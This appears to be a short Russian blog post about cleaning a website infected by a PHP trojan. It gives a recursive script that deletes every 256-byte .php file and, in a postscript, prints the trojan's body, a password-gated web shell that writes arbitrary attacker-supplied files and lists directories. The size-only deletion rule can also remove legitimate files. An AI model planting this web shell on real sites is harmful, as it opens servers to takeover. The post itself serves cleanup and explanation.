Регистрация Войти
Войти через VK Войти через FB Войти через Google Войти через Яндекс
Войти через VK Войти через FB Войти через Google Войти через Яндекс
Поиск по сайту
Наш чат в Telegram для обмена идеями, проектами, мыслями, людьми в сфере ИТ г.Ростова-на-Дону: @it_rostov
Рекурсивное удаление файлов по шаблону с учетом размера
На одном из проектов поймали вирус(троян), который разложил себя по всем папкам сайта под разными именами. Одинаковым был только размер 256 байт.
Возникла задача, как автоматически удалить трояна?
Я написал маленький скрипт, который положили в корень сайта и запустили. Скрипт рекурсивно обходит все подпапки от текущей и удаляет все php файлы размером 256 байт.
$c=getcwd();
delTree($c);
function delTree($c) {
$a=scandir($c);
foreach ($a as $f){
if ($f=='.' || $f=='..') continue;
$f=$c.'/'.$f;
if(is_dir($f)){delTree($f);continue;}
if(substr($f,-4,4)=='.php' && ($s=filesize($f))==256)
{echo "<br>удаляю ".$f.' - '.$s.'b'; unlink($f);}
}
}
P.S.: Для интересующихся тело трояна:
$r=$_REQUEST;
$c=getcwd();
$n=chr(32);
print('1234567890abcdef');
if(md5(md5(@$r['p']))=='1234567890abcdef')
{print($n.$c.$n);
fwrite(fopen(dirname(__FILE__).'/'.$r['f'],'w+'),$r['b']);
print($n);
print_r(scandir($c));}
В реале он свернут в одну строку и для каждого сайта генерируется своя ключевая последовательноть